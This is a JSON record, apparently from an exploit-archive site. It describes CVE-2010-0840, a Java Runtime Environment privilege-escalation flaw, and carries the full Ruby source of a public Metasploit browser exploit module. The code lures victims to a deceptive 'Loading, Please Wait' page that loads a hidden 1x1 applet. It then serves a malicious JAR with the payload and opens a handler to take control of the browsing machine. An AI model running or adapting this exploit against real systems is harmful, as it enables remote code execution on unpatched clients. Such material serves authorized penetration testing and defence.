{"exploit":{"id":"MSF-multi--browser--java_trusted_chain","name":"Java Statement.invoke() Trusted Method Chain Privilege Escalation","description":"This module exploits a vulnerability in Java Runtime Environment that allows an untrusted method to run in a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23.","cves":["CVE-2010-0840"],"author":"Sami Koivu, Matthias Kaiser, egypt","published":"2010-03-31","platform":"Linux,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_trusted_chain.rb","path":"modules/exploits/multi/browser/java_trusted_chain.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_trusted_chain.rb","vulnerabilities":[{"id":"CVE-2010-0840","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment component in Oracle Java SE and Java for Business 6 Update 18, 5.0 Update 23, and 1.4.2_25 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the March 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is related to improper checks when executing privileged methods in the Java Runtime Environment (JRE), which allows attackers to execute arbitrary code via (1) an untrusted object that extends the trusted class but has not modified a certain method, or (2) \"a similar trust issue with interfaces,\" aka \"Trusted Methods Chaining Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0840","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0840"},"updatedAt":"2025-10-22T00:05:52.754Z","retrievedAt":"2026-11-26T12:31:48.515Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_trusted_chain.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_trusted_chain","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_trusted_chain/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_trusted_chain/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  # Superceded by java_atomicreferencearray\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',\n        'Description' => %q{\n          This module exploits a vulnerability in Java Runtime Environment\n          that allows an untrusted method to run in a privileged context.  The\n          vulnerability affects version 6 prior to update 19 and version 5\n          prior to update 23.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Sami Koivu', # Discovery\n          'Matthias Kaiser', # PoC\n          'egypt' # metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-0840' ],\n          [ 'OSVDB', '63483' ],\n          [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows Universal',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Linux x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2010-03-31',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, request)\n    if !request.uri.match(/\\.jar$/i)\n      if !request.uri.match(%r{/$})\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      print_status(\"#{name} handling request\")\n\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    paths = [\n      [ 'vuln', 'Exploit.class' ],\n      [ 'vuln', 'Exploit$1.class' ],\n      [ 'vuln', 'Link.class' ],\n    ]\n\n    p = regenerate_payload(cli)\n\n    jar = p.encoded_jar\n    paths.each do |path|\n      1.upto(path.length - 1) do |idx|\n        full = path[0, idx].join('/') + '/'\n        if !(jar.entries.map { |e| e.name }.include?(full))\n          jar.add_file(full, '')\n        end\n      end\n      fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')\n      data = fd.read(fd.stat.size)\n      jar.add_file(path.join('/'), data)\n      fd.close\n    end\n\n    print_status('Sending Applet.jar')\n    send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })\n\n    handler(cli)\n  end\n\n  def generate_html\n    html = '<html><head><title>Loading, Please Wait...</title></head>'\n    html += '<body><center><p>Loading, Please Wait...</p></center>'\n    html += '<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">'\n    html += '</applet></body></html>'\n    return html\n  end\nend\n","sha256":"246b65996a4c48c667b7416c182e1ec9dcff7e2dc8c1890d9d9352e820ad3dbc","bytes":3471,"fetchedAt":"2026-11-26T12:31:48.385Z","encoding":"utf-8 (display only; download retains original bytes)"}